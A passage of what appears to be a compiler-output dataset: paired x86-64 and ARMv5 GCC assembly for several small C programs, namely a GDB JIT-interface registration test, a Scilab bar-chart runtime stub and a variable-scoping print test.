call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rcx, rax
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -200[rbp]
lea rsi, .LC5[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L19:
lea rdx, -160[rbp]
mov eax, DWORD PTR -204[rbp]
mov rsi, rdx
mov edi, eax
call fstat@PLT
test eax, eax
je .L20
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rcx, rax
mov rax, QWORD PTR stderr[rip]
mov edx, DWORD PTR -204[rbp]
lea rsi, .LC6[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L20:
mov DWORD PTR -208[rbp], 0
jmp .L21
.L25:
mov rax, QWORD PTR -112[rbp]
mov rsi, rax
mov eax, DWORD PTR -204[rbp]
mov r9d, 0
mov r8d, eax
mov ecx, 2
mov edx, 3
mov edi, 0
call mmap@PLT
mov QWORD PTR -176[rbp], rax
mov esi, 32
mov edi, 1
call calloc@PLT
mov QWORD PTR -168[rbp], rax
cmp QWORD PTR -176[rbp], -1
jne .L22
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rdx, rax
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC7[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L22:
mov edx, DWORD PTR -208[rbp]
mov rax, QWORD PTR -176[rbp]
mov esi, edx
mov rdi, rax
call update_locations
mov rax, QWORD PTR -168[rbp]
mov rdx, QWORD PTR -176[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -112[rbp]
mov rdx, rax
mov rax, QWORD PTR -168[rbp]
mov QWORD PTR 24[rax], rdx
mov rdx, QWORD PTR __jit_debug_descriptor[rip+8]
mov rax, QWORD PTR -168[rbp]
mov QWORD PTR 8[rax], rdx
mov rax, QWORD PTR -168[rbp]
mov QWORD PTR __jit_debug_descriptor[rip+8], rax
mov rax, QWORD PTR -168[rbp]
mov rax, QWORD PTR 8[rax]
test rax, rax
je .L23
mov rax, QWORD PTR -168[rbp]
mov rax, QWORD PTR 8[rax]
mov rdx, QWORD PTR -168[rbp]
mov QWORD PTR [rax], rdx
jmp .L24
.L23:
mov rax, QWORD PTR -168[rbp]
mov QWORD PTR __jit_debug_descriptor[rip+16], rax
.L24:
mov DWORD PTR __jit_debug_descriptor[rip+4], 1
mov eax, 0
call __jit_debug_register_code
add DWORD PTR -208[rbp], 1
.L21:
mov eax, DWORD PTR -208[rbp]
cmp eax, DWORD PTR -212[rbp]
jl .L25
mov DWORD PTR -208[rbp], 0
jmp .L26
.L29:
mov rax, QWORD PTR __jit_debug_descriptor[rip+8]
mov QWORD PTR -192[rbp], rax
mov rax, QWORD PTR -192[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -184[rbp], rax
cmp QWORD PTR -184[rbp], 0
je .L27
mov rax, QWORD PTR -184[rbp]
mov QWORD PTR [rax], 0
mov rax, QWORD PTR -192[rbp]
mov QWORD PTR 8[rax], 0
jmp .L28
.L27:
mov QWORD PTR __jit_debug_descriptor[rip+16], 0
.L28:
mov DWORD PTR __jit_debug_descriptor[rip+4], 2
mov eax, 0
call __jit_debug_register_code
mov rax, QWORD PTR -184[rbp]
mov QWORD PTR __jit_debug_descriptor[rip+8], rax
mov rax, QWORD PTR -192[rbp]
mov rdi, rax
call free@PLT
.L26:
mov rax, QWORD PTR __jit_debug_descriptor[rip+8]
test rax, rax
jne .L29
.L16:
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L31
call __stack_chk_fail@PLT
.L31:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "578150.c"
.text
.align 2
.global __jit_debug_register_code
.syntax unified
.arm
.fpu softvfp
.type __jit_debug_register_code, %function
__jit_debug_register_code:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size __jit_debug_register_code, .-__jit_debug_register_code
.global __jit_debug_descriptor
.data
.align 2
.type __jit_debug_descriptor, %object
.size __jit_debug_descriptor, 16
__jit_debug_descriptor:
.word 1
.word 0
.word 0
.word 0
.section .rodata
.align 2
.LC0:
.ascii "Usage: %s library [count]\012\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type usage, %function
usage:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, .L3
ldr r3, [r3]
ldr r2, [fp, #-8]
ldr r1, .L3+4
mov r0, r3
bl fprintf
mov r0, #1
bl exit
.L4:
.align 2
.L3:
.word stderr
.word .LC0
.size usage, .-usage
.section .rodata
.align 2
.LC1:
.ascii "jit_function_XXXX\000"
.align 2
.LC2:
.ascii "jit_function_%04d\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type update_locations, %function
update_locations:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-40]
str r1, [fp, #-44]
ldr r3, [fp, #-40]
str r3, [fp, #-24]
ldr r3, [fp, #-24]
ldr r3, [r3, #32]
ldr r2, [fp, #-40]
add r3, r2, r3
str r3, [fp, #-20]
ldr r3, [fp, #-24]
ldr r3, [r3, #28]
ldr r2, [fp, #-40]
add r3, r2, r3
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-32]
b .L6
.L8:
ldr r3, [fp, #-32]
lsl r3, r3, #5
ldr r2, [fp, #-16]
add r3, r2, r3
ldr r3, [r3]
cmp r3, #1
bne .L7
ldr r3, [fp, #-32]
lsl r3, r3, #5
ldr r2, [fp, #-16]
add r3, r2, r3
ldr r1, [r3, #8]
ldr r2, [fp, #-40]
ldr r3, [fp, #-32]
lsl r3, r3, #5
ldr r0, [fp, #-16]
add r3, r0, r3
add r2, r1, r2
str r2, [r3, #8]
.L7:
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L6:
ldr r3, [fp, #-24]
ldrh r3, [r3, #44]
mov r2, r3
ldr r3, [fp, #-32]
cmp r3, r2
blt .L8
mov r3, #0
str r3, [fp, #-32]
b .L9
.L15:
ldr r2, [fp, #-32]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
ldr r3, [r3, #4]
cmp r3, #3
bne .L10
ldr r2, [fp, #-32]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
ldr r2, [r3, #16]
ldr r3, [fp, #-40]
add r3, r2, r3
str r3, [fp, #-12]
ldr r2, [fp, #-32]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
ldr r3, [r3, #20]
ldr r2, [fp, #-12]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-12]
str r3, [fp, #-28]
b .L11
.L13:
ldr r1, .L16
ldr r0, [fp, #-28]
bl strcmp
mov r3, r0
cmp r3, #0
bne .L12
ldr r2, [fp, #-44]
ldr r1, .L16+4
ldr r0, [fp, #-28]
bl sprintf
.L12:
ldr r0, [fp, #-28]
bl strlen
mov r3, r0
add r3, r3, #1
ldr r2, [fp, #-28]
add r3, r2, r3
str r3, [fp, #-28]
.L11:
ldr r2, [fp, #-28]
ldr r3, [fp, #-8]
cmp r2, r3
bcc .L13
.L10:
ldr r2, [fp, #-32]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
ldr r3, [r3, #8]
and r3, r3, #2
cmp r3, #0
beq .L14
ldr r2, [fp, #-32]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
ldr r0, [r3, #12]
ldr r1, [fp, #-40]
ldr r2, [fp, #-32]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
add r2, r0, r1
str r2, [r3, #12]
.L14:
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L9:
ldr r3, [fp, #-24]
ldrh r3, [r3, #48]
mov r2, r3
ldr r3, [fp, #-32]
cmp r3, r2
blt .L15
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L17:
.align 2
.L16:
.word .LC1
.word .LC2
.size update_locations, .-update_locations
.section .rodata
.align 2
.LC3:
.ascii "the_stack_data/578150.c\000"
.align 2
.LC4:
.ascii "%s:%d: libname = %s, count = %d\012\000"
.align 2
.LC5:
.ascii "open (\"%s\", O_RDONLY): %s\012\000"
.align 2
.LC6:
.ascii "fstat (\"%d\"): %s\012\000"
.align 2
.LC7:
.ascii "mmap: %s\012\000"
.align 2
.LC8:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 136
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #148
str r0, [fp, #-144]
str r1, [fp, #-148]
ldr r3, .L36
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, #0
str r3, [fp, #-140]
mov r3, #0
str r3, [fp, #-136]
ldr r3, [fp, #-144]
cmp r3, #1
bgt .L19
ldr r3, [fp, #-148]
ldr r3, [r3]
mov r0, r3
bl usage
b .L20
.L19:
ldr r3, [fp, #-140]
cmp r3, #0
bne .L21
ldr r3, [fp, #-148]
ldr r3, [r3, #4]
str r3, [fp, #-140]
.L21:
ldr r3, [fp, #-144]
cmp r3, #2
ble .L22
ldr r3, [fp, #-136]
cmp r3, #0
bne .L22
ldr r3, [fp, #-148]
add r3, r3, #8
ldr r3, [r3]
mov r0, r3
bl atoi
str r0, [fp, #-136]
.L22:
ldr r3, [fp, #-136]
str r3, [sp]
ldr r3, [fp, #-140]
mov r2, #148
ldr r1, .L36+4
ldr r0, .L36+8
bl printf
mov r1, #0
ldr r0, [fp, #-140]
bl open
str r0, [fp, #-128]
ldr r3, [fp, #-128]
cmn r3, #1
bne .L23
ldr r3, .L36+12
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
ldr r2, [fp, #-140]
ldr r1, .L36+16
mov r0, r4
bl fprintf
mov r0, #1
bl exit
.L23:
sub r3, fp, #108
mov r1, r3
ldr r0, [fp, #-128]
bl fstat
mov r3, r0
cmp r3, #0
beq .L24
ldr r3, .L36+12
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
ldr r2, [fp, #-128]
ldr r1, .L36+20
mov r0, r4
bl fprintf
mov r0, #1
bl exit
.L24:
mov r3, #0
str r3, [fp, #-132]
b .L25
.L29:
ldr r3, [fp, #-64]
mov r1, r3
mov r3, #0
str r3, [sp, #4]
ldr r3, [fp, #-128]
str r3, [sp]
mov r3, #2
mov r2, #3
mov r0, #0
bl mmap
str r0, [fp, #-116]
mov r1, #24
mov r0, #1
bl calloc
mov r3, r0
str r3, [fp, #-112]
ldr r3, [fp, #-116]
cmn r3, #1
bne .L26
ldr r3, .L36+12
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
mov r2, r3
ldr r1, .L36+24
mov r0, r4
bl fprintf
mov r0, #1
bl exit
.L26:
ldr r1, [fp, #-132]
ldr r0, [fp, #-116]
bl update_locations
ldr r3, [fp, #-112]
ldr r2, [fp, #-116]
str r2, [r3, #8]
ldr r3, [fp, #-64]
mov r2, r3
asr r3, r2, #31
ldr r1, [fp, #-112]
str r2, [r1, #16]
str r3, [r1, #20]
ldr r3, .L36+28
ldr r2, [r3, #8]
ldr r3, [fp, #-112]
str r2, [r3, #4]
ldr r2, .L36+28
ldr r3, [fp, #-112]
str r3, [r2, #8]
ldr r3, [fp, #-112]
ldr r3, [r3, #4]
cmp r3, #0
beq .L27
ldr r3, [fp, #-112]
ldr r3, [r3, #4]
ldr r2, [fp, #-112]
str r2, [r3]
b .L28
.L27:
ldr r2, .L36+28
ldr r3, [fp, #-112]
str r3, [r2, #12]
.L28:
ldr r3, .L36+28
mov r2, #1
str r2, [r3, #4]
bl __jit_debug_register_code
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L25:
ldr r2, [fp, #-132]
ldr r3, [fp, #-136]
cmp r2, r3
blt .L29
mov r3, #0
str r3, [fp, #-132]
b .L30
.L33:
ldr r3, .L36+28
ldr r3, [r3, #8]
str r3, [fp, #-124]
ldr r3, [fp, #-124]
ldr r3, [r3, #4]
str r3, [fp, #-120]
ldr r3, [fp, #-120]
cmp r3, #0
beq .L31
ldr r3, [fp, #-120]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-124]
mov r2, #0
str r2, [r3, #4]
b .L32
.L31:
ldr r3, .L36+28
mov r2, #0
str r2, [r3, #12]
.L32:
ldr r3, .L36+28
mov r2, #2
str r2, [r3, #4]
bl __jit_debug_register_code
ldr r2, .L36+28
ldr r3, [fp, #-120]
str r3, [r2, #8]
ldr r0, [fp, #-124]
bl free
.L30:
ldr r3, .L36+28
ldr r3, [r3, #8]
cmp r3, #0
bne .L33
.L20:
mov r3, #0
ldr r2, .L36
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L35
bl __stack_chk_fail
.L35:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L37:
.align 2
.L36:
.word .LC8
.word .LC3
.word .LC4
.word stderr
.word .LC5
.word .LC6
.word .LC7
.word __jit_debug_descriptor
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "251295.c"
.intel_syntax noprefix
.text
.section .rodata
.LC1:
.string "%f"
.LC2:
.string "%d"
.LC3:
.string "%s"
.text
.globl scilab_rt_barh_d2d2i0s0s0_
.type scilab_rt_barh_d2d2i0s0s0_, @function
scilab_rt_barh_d2d2i0s0s0_:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r13
push r12
push rbx
sub rsp, 88
.cfi_offset 13, -24
.cfi_offset 12, -32
.cfi_offset 3, -40
mov DWORD PTR -84[rbp], edi
mov DWORD PTR -88[rbp], esi
mov QWORD PTR -96[rbp], rdx
mov DWORD PTR -100[rbp], ecx
mov DWORD PTR -104[rbp], r8d
mov QWORD PTR -112[rbp], r9
mov eax, DWORD PTR -88[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -48[rbp], rdx
movsx rdx, eax
mov r12, rdx
mov r13d, 0
mov ebx, DWORD PTR -104[rbp]
movsx rdx, ebx
sub rdx, 1
mov QWORD PTR -40[rbp], rdx
movsx rdx, ebx
mov r10, rdx
mov r11d, 0
pxor xmm0, xmm0
movsd QWORD PTR -64[rbp], xmm0
pxor xmm0, xmm0
movsd QWORD PTR -56[rbp], xmm0
mov DWORD PTR -68[rbp], 0
jmp .L2
.L5:
mov DWORD PTR -72[rbp], 0
jmp .L3
.L4:
mov edx, DWORD PTR -68[rbp]
movsx rcx, edx
movsx rdx, eax
imul rdx, rcx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -96[rbp]
add rcx, rdx
mov edx, DWORD PTR -72[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rcx+rdx*8]
movsd xmm1, QWORD PTR -64[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -64[rbp], xmm0
add DWORD PTR -72[rbp], 1
.L3:
mov edx, DWORD PTR -72[rbp]
cmp edx, DWORD PTR -88[rbp]
jl .L4
add DWORD PTR -68[rbp], 1
.L2:
mov edx, DWORD PTR -68[rbp]
cmp edx, DWORD PTR -84[rbp]
jl .L5
mov rax, QWORD PTR -64[rbp]
movq xmm0, rax
lea rdi, .LC1[rip]
mov eax, 1
call printf@PLT
mov DWORD PTR -68[rbp], 0
jmp .L6
.L9:
mov DWORD PTR -72[rbp], 0
jmp .L7
.L8:
mov eax, DWORD PTR -68[rbp]
movsx rdx, eax
movsx rax, ebx
imul rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -112[rbp]
add rdx, rax
mov eax, DWORD PTR -72[rbp]
cdqe
movsd xmm0, QWORD PTR [rdx+rax*8]
movsd xmm1, QWORD PTR -56[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -56[rbp], xmm0
add DWORD PTR -72[rbp], 1
.L7:
mov eax, DWORD PTR -72[rbp]
cmp eax, DWORD PTR -104[rbp]
jl .L8
add DWORD PTR -68[rbp], 1
.L6:
mov eax, DWORD PTR -68[rbp]
cmp eax, DWORD PTR -100[rbp]
jl .L9
mov rax, QWORD PTR -56[rbp]
movq xmm0, rax
lea rdi, .LC1[rip]
mov eax, 1
call printf@PLT
mov esi, DWORD PTR 16[rbp]
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR 24[rbp]
mov rsi, rax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR 32[rbp]
mov rsi, rax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
nop
add rsp, 88
pop rbx
pop r12
pop r13
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size scilab_rt_barh_d2d2i0s0s0_, .-scilab_rt_barh_d2d2i0s0s0_
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "251295.c"
.text
.global __aeabi_dadd
.section .rodata
.align 2
.LC0:
.ascii "%f\000"
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.ascii "%s\000"
.text
.align 2
.global scilab_rt_barh_d2d2i0s0s0_
.syntax unified
.arm
.fpu softvfp
.type scilab_rt_barh_d2d2i0s0s0_, %function
scilab_rt_barh_d2d2i0s0s0_:
@ args = 20, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #48
str r0, [fp, #-48]
str r1, [fp, #-52]
str r2, [fp, #-56]
str r3, [fp, #-60]
ldr r5, [fp, #-52]
sub r3, r5, #1
str r3, [fp, #-36]
mov r3, r5
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
ldr r4, [fp, #4]
sub r3, r4, #1
str r3, [fp, #-32]
mov r3, r4
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r2, #0
mov r3, #0
str r2, [fp, #-28]
str r3, [fp, #-24]
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-40]
b .L2
.L5:
mov r3, #0
str r3, [fp, #-44]
b .L3
.L4:
mov r2, r5
ldr r3, [fp, #-40]
mul r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-56]
add r2, r2, r3
ldr r3, [fp, #-44]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L3:
ldr r2, [fp, #-44]
ldr r3, [fp, #-52]
cmp r2, r3
blt .L4
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L2:
ldr r2, [fp, #-40]
ldr r3, [fp, #-48]
cmp r2, r3
blt .L5
sub r3, fp, #28
ldmia r3, {r2-r3}
ldr r0, .L10
bl printf
mov r3, #0
str r3, [fp, #-40]
b .L6
.L9:
mov r3, #0
str r3, [fp, #-44]
b .L7
.L8:
mov r2, r4
ldr r3, [fp, #-40]
mul r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #8]
add r2, r2, r3
ldr r3, [fp, #-44]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L7:
ldr r2, [fp, #-44]
ldr r3, [fp, #4]
cmp r2, r3
blt .L8
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L6:
ldr r2, [fp, #-40]
ldr r3, [fp, #-60]
cmp r2, r3
blt .L9
sub r3, fp, #20
ldmia r3, {r2-r3}
ldr r0, .L10
bl printf
ldr r1, [fp, #12]
ldr r0, .L10+4
bl printf
ldr r1, [fp, #16]
ldr r0, .L10+8
bl printf
ldr r1, [fp, #20]
ldr r0, .L10+8
bl printf
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L11:
.align 2
.L10:
.word .LC0
.word .LC1
.word .LC2
.size scilab_rt_barh_d2d2i0s0s0_, .-scilab_rt_barh_d2d2i0s0s0_
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "840039.c"
.intel_syntax noprefix
.text
.globl a
.section .rodata
.type a, @object
.size a, 2
a:
.string "a"
.type b, @object
.size b, 2
b:
.string "b"
.LC0:
.string "1-. a=%s b=%s c=%s arg=%s\n"
.LC1:
.string "1+. a=%s b=%s c=%s arg=%s\n"
.LC2:
.string "2-. a=%s b=%s c=%s arg=%s\n"
.LC3:
.string "3. a=%s b=%s c=%s arg=%s\n"
.LC4:
.string "2+. a=%s b=%s c=%s arg=%s\n"
.LC5:
.string "1++. a=%s b=%s c=%s arg=%s\n"
.text
.globl test
.type test, @function
test:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov WORD PTR -31[rbp], 12643
mov BYTE PTR -29[rbp], 0
mov rdx, QWORD PTR -40[rbp]
lea rax, -31[rbp]
mov r8, rdx
mov rcx, rax
lea rdx, b[rip]
lea rsi, a[rip]
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov WORD PTR -28[rbp], 12641
mov BYTE PTR -26[rbp], 0
mov rcx, QWORD PTR -40[rbp]
lea rdx, -31[rbp]
lea rax, -28[rbp]
mov r8, rcx
mov rcx, rdx
lea rdx, b.3[rip]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov WORD PTR -25[rbp], 12897
mov BYTE PTR -23[rbp], 0
mov WORD PTR -22[rbp], 12898
mov BYTE PTR -20[rbp], 0
mov DWORD PTR -13[rbp], 845640289
mov BYTE PTR -9[rbp], 0
mov WORD PTR -19[rbp], 12899
mov BYTE PTR -17[rbp], 0
lea rsi, -13[rbp]
lea rcx, -19[rbp]
lea rdx, -22[rbp]
lea rax, -25[rbp]
mov r8, rsi
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov WORD PTR -16[rbp], 13154
mov BYTE PTR -14[rbp], 0
lea rax, -16[rbp]
lea r8, arg.0[rip]
lea rcx, c.1[rip]
mov rdx, rax
lea rsi, a.2[rip]
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
lea rsi, -13[rbp]
lea rcx, -19[rbp]
lea rdx, -22[rbp]
lea rax, -25[rbp]
mov r8, rsi
mov rsi, rax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
mov rcx, QWORD PTR -40[rbp]
lea rdx, -31[rbp]
lea rax, -28[rbp]
mov r8, rcx
mov rcx, rdx
lea rdx, b.3[rip]
mov rsi, rax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L2
call __stack_chk_fail@PLT
.L2:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size test, .-test
.section .rodata
.LC6:
.string "arg"
.text
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rdi, .LC6[rip]
call test
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.section .rodata
.type b.3, @object
.size b.3, 3
b.3:
.string "b1"
.type a.2, @object
.size a.2, 3
a.2:
.string "a3"
.type c.1, @object
.size c.1, 3
c.1:
.string "c3"
.data
.type arg.0, @object
.size arg.0, 5
arg.0:
.string "arg3"
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "840039.c"
.text
.global a
.section .rodata
.align 2
.type a, %object
.size a, 2
a:
.ascii "a\000"
.align 2
.type b, %object
.size b, 2
b:
.ascii "b\000"
.align 2
.LC1:
.ascii "1-. a=%s b=%s c=%s arg=%s\012\000"
.align 2
.LC3:
.ascii "1+. a=%s b=%s c=%s arg=%s\012\000"
.align 2
.LC8:
.ascii "2-. a=%s b=%s c=%s arg=%s\012\000"
.align 2
.LC10:
.ascii "3. a=%s b=%s c=%s arg=%s\012\000"
.align 2
.LC11:
.ascii "2+. a=%s b=%s c=%s arg=%s\012\000"
.align 2
.LC12:
.ascii "1++. a=%s b=%s c=%s arg=%s\012\000"
.align 2
.LC0:
.ascii "c1\000"
.align 2
.LC2:
.ascii "a1\000"
.align 2
.LC4:
.ascii "a2\000"
.align 2
.LC5:
.ascii "b2\000"
.align 2
.LC6:
.ascii "arg2\000"
.align 2
.LC7:
.ascii "c2\000"
.align 2
.LC9:
.ascii "b3\000"
.align 2
.LC13:
.word __stack_chk_guard
.text
.align 2
.global test
.syntax unified
.arm
.fpu softvfp
.type test, %function
test:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #56
str r0, [fp, #-48]
ldr r3, .L3
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r2, .L3+4
sub r3, fp, #40
ldr r2, [r2]
strh r2, [r3] @ movhi
add r3, r3, #2
lsr r2, r2, #16
strb r2, [r3]
sub r2, fp, #40
ldr r3, [fp, #-48]
str r3, [sp]
mov r3, r2
ldr r2, .L3+8
ldr r1, .L3+12
ldr r0, .L3+16
bl printf
ldr r2, .L3+20
sub r3, fp, #36
ldr r2, [r2]
strh r2, [r3] @ movhi
add r3, r3, #2
lsr r2, r2, #16
strb r2, [r3]
sub r2, fp, #40
sub r1, fp, #36
ldr r3, [fp, #-48]
str r3, [sp]
mov r3, r2
ldr r2, .L3+24
ldr r0, .L3+28
bl printf
ldr r2, .L3+32
sub r3, fp, #32
ldr r2, [r2]
strh r2, [r3] @ movhi
add r3, r3, #2
lsr r2, r2, #16
strb r2, [r3]
ldr r2, .L3+36
sub r3, fp, #28
ldr r2, [r2]
strh r2, [r3] @ movhi
add r3, r3, #2
lsr r2, r2, #16
strb r2, [r3]
ldr r2, .L3+40
sub r3, fp, #16
